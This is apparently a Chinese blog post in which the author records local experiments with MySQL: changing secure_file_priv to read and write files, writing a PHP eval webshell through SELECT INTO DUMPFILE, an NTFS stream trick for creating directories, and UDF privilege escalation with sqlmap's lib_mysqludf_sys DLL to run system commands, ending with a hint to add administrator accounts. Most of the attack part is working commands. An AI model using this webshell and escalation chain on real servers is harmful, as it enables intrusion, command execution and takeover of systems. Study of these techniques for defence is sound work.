以前关于mysql只会提数据,并不会处理文件和提权,这里整理一下学习到的新姿势
load_file
其实这个说起来是都知道,但是以前实验的时候总是失败....
今天再次尝试,发现还是不行,load_file的时候总是返回null,如图
然后试图写入文件的时候弹出了
然后百度了一番,改了一下mysql的设置
在mysql.ini最后加了一句
1 | secure_file_priv= |
然后就可以成功的读写文件了(本身mysql是root权限)
同样也可以写shell,比如
1 | select "<?php eval($_POST['cmd']);?>" into dumpfile "D://123.php" |
okok,基础就到这里,下面是关于mysql的提权
udf提权
首先udf的提权会涉及到mysql的版本问题,5.1以上和5.1一下是不一样的
而且提权的系统不一样操作也是不一样的....
然后涉及到的dll或者so文件在sqlmap的udf文件夹里面都有
直接开始吧,首先看一下你的plugin路径 本机是windows64位,所以用的win/64/xxxx.dll
把这个文件写入到plugin目录下,但是由于sql语句无法创建目录...很尴尬,然后网上有大神流传的方法:利用ntfs
ads流创建目录
1 | select 'xxx' into outfile 'D:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION'; |
但是很遗憾...我尝试了几次发现都是失败的....
有人说是mysql更新之后导致的...具体原因我也不清楚...
思考了一下觉得,可以写的话那就写个webshell进去,有权限的话直接创建一个plugin文件夹就ok了,具体的就不看了...本地实验我就直接右键创建了(菜鸡捂脸ing)
创建之后写个sql导入dll
1 | select load_file("D:\\python2\\Lib\\site-packages\\sqlmap\\udf\\mysql\\windows\\64\\lib_mysqludf_sys.dll_") into outfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll"; |
最蛋疼的部分来了... 创建这里疯狂出问题... 后来网上找了个脚本才知道是dll文件的问题... 脚本放一下 udf提权 弄好了dll文件后面就简单了... 数据库自选..
1 | use udf; |
然后就可以为所欲为了... 这里我把减号删掉了....
1 | mysql> select cmdshell('dir'); |
剩下的创建管理员什么的自己创建就好了~ 对了,最后别忘了drop function cmdshell;